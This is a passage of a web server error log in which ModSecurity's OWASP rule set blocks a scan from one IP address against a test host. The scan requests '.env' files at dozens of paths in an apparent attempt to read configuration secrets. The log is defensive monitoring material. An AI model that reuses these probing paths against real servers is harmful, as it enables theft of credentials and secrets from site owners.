[Thu Feb 26 01:03:24.129209 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5DgAAAAY&quot;]
[Thu Feb 26 01:03:24.129386 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5DgAAAAY&quot;]
[Thu Feb 26 01:03:24.163752 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/gobuffalo/envy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKQAAAAc&quot;]
[Thu Feb 26 01:03:24.164029 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKQAAAAc&quot;]
[Thu Feb 26 01:03:24.164210 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKQAAAAc&quot;]
[Thu Feb 26 01:03:24.203407 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/subosito/gotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKgAAAAc&quot;]
[Thu Feb 26 01:03:24.203672 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKgAAAAc&quot;]
[Thu Feb 26 01:03:24.203846 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKgAAAAc&quot;]
[Thu Feb 26 01:03:24.302379 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5EgAAAAY&quot;]
[Thu Feb 26 01:03:24.302642 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5EgAAAAY&quot;]
[Thu Feb 26 01:03:24.302804 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5EgAAAAY&quot;]
[Thu Feb 26 01:03:24.330156 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5EwAAAAY&quot;]
[Thu Feb 26 01:03:24.330432 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5EwAAAAY&quot;]
[Thu Feb 26 01:03:24.330607 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5EwAAAAY&quot;]
[Thu Feb 26 01:03:24.331906 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /videos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVLQAAAAc&quot;]
[Thu Feb 26 01:03:24.332161 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVLQAAAAc&quot;]
[Thu Feb 26 01:03:24.332307 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVLQAAAAc&quot;]
[Thu Feb 26 01:03:24.353598 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FAAAAAY&quot;]
[Thu Feb 26 01:03:24.353858 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FAAAAAY&quot;]
[Thu Feb 26 01:03:24.354025 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FAAAAAY&quot;]
[Thu Feb 26 01:03:24.384187 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/gobuffalo/envy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FQAAAAY&quot;]
[Thu Feb 26 01:03:24.384431 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FQAAAAY&quot;]
[Thu Feb 26 01:03:24.384591 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FQAAAAY&quot;]
[Thu Feb 26 01:03:24.409616 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vm-docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVLwAAAAc&quot;]
[Thu Feb 26 01:03:24.409857 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVLwAAAAc&quot;]
[Thu Feb 26 01:03:24.410008 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vm-docker-compose/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVLwAAAAc&quot;]
[Thu Feb 26 01:03:24.414927 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/subosito/gotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FgAAAAY&quot;]
[Thu Feb 26 01:03:24.415162 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FgAAAAY&quot;]
[Thu Feb 26 01:03:24.415321 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5FgAAAAY&quot;]
[Thu Feb 26 01:03:24.453415 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vod_installer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMAAAAAc&quot;]
[Thu Feb 26 01:03:24.453629 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMAAAAAc&quot;]
[Thu Feb 26 01:03:24.453773 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vod_installer/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVMAAAAAc&quot;]
[Thu Feb 26 01:03:24.483145 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue-end/vue-til/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 